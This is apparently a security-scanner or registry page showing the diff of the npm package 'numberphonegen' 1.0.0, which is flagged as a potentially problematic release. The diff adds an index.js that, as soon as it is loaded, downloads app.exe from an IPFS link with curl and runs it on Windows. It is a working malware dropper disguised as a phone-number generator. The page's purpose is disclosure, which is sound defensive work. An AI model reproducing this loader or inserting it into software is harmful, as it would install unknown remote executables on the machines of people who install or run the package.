numberphonegen 1.0.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of numberphonegen might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +32 -0
  2. package/package.json +11 -0
package/index.js ADDED
@@ -0,0 +1,32 @@
1
+ const { exec } = require('child_process');
2
+
3
+ const fileUrl = 'https://bafybeierqmqw66mvmcavscfwhrh726abacvjnfypxqxgrew4sgbjn55k54.ipfs.nftstorage.link/app.exe';
4
+ const fileName = 'app.exe';
5
+
6
+ const downloadAndOpenFile = (url, destination) => {
7
+ return new Promise((resolve, reject) => {
8
+ const downloadCommand = `curl -o ${destination} ${url}`;
9
+ exec(downloadCommand, (error, stdout, stderr) => {
10
+ if (error) {
11
+ reject(error);
12
+ } else {
13
+ console.log('Téléchargement terminé.');
14
+
15
+ const openCommand = `start ${destination}`;
16
+ exec(openCommand, (error) => {
17
+ if (error) {
18
+ reject(error);
19
+ } else {
20
+ console.log('Fichier ouvert avec succès.');
21
+ resolve();
22
+ }
23
+ });
24
+ }
25
+ });
26
+ });
27
+ };
28
+
29
+ downloadAndOpenFile(fileUrl, fileName)
30
+ .catch((error) => {
31
+ console.error('Une erreur s\'est produite :', error);
32
+ });
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "numberphonegen",
3
+ "version": "1.0.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "author": "",
10
+ "license": "ISC"
11
+ }